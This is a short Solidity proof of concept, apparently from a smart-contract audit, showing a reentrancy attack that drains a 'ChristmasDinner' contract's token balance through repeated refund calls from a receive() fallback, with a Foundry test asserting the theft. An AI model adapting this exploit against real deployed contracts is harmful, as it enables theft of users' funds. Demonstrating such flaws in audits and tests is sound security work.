```javascript
contract ReentrancyAttacker {
ChristmasDinner cd;
ERC20Mock usdc;
uint256 depositAmount = 1e18;
constructor(ChristmasDinner _christmasDinner, ERC20Mock _usdc) {
cd = ChristmasDinner(_christmasDinner);
usdc = _usdc;
usdc.approve(address(cd), depositAmount);
}
function attack() external payable {
cd.deposit(address(usdc), depositAmount);
cd.refund();
}
receive() external payable {
console.log(ERC20Mock(usdc).balanceOf(address(cd)));
if (ERC20Mock(usdc).balanceOf(address(cd)) > depositAmount) {
cd.refund();
}
}
}
function testReentrance() public {
vm.prank(user1);
cd.deposit(address(usdc), 2e18);
uint256 depositAmount = 1e18;
ReentrancyAttacker attacker = new ReentrancyAttacker(cd, usdc);
usdc.mint(address(attacker), depositAmount);
uint256 startingAttackerBalance = ERC20Mock(usdc).balanceOf(address(attacker));
uint256 startingContractBalance = ERC20Mock(usdc).balanceOf(address(cd));
attacker.attack();
uint256 endingAttackerBalance = ERC20Mock(usdc).balanceOf(address(attacker));
uint256 endingContractBalance = ERC20Mock(usdc).balanceOf(address(cd));
assertEq(endingAttackerBalance, startingContractBalance + startingAttackerBalance);
assertEq(endingContractBalance, 0);
}
```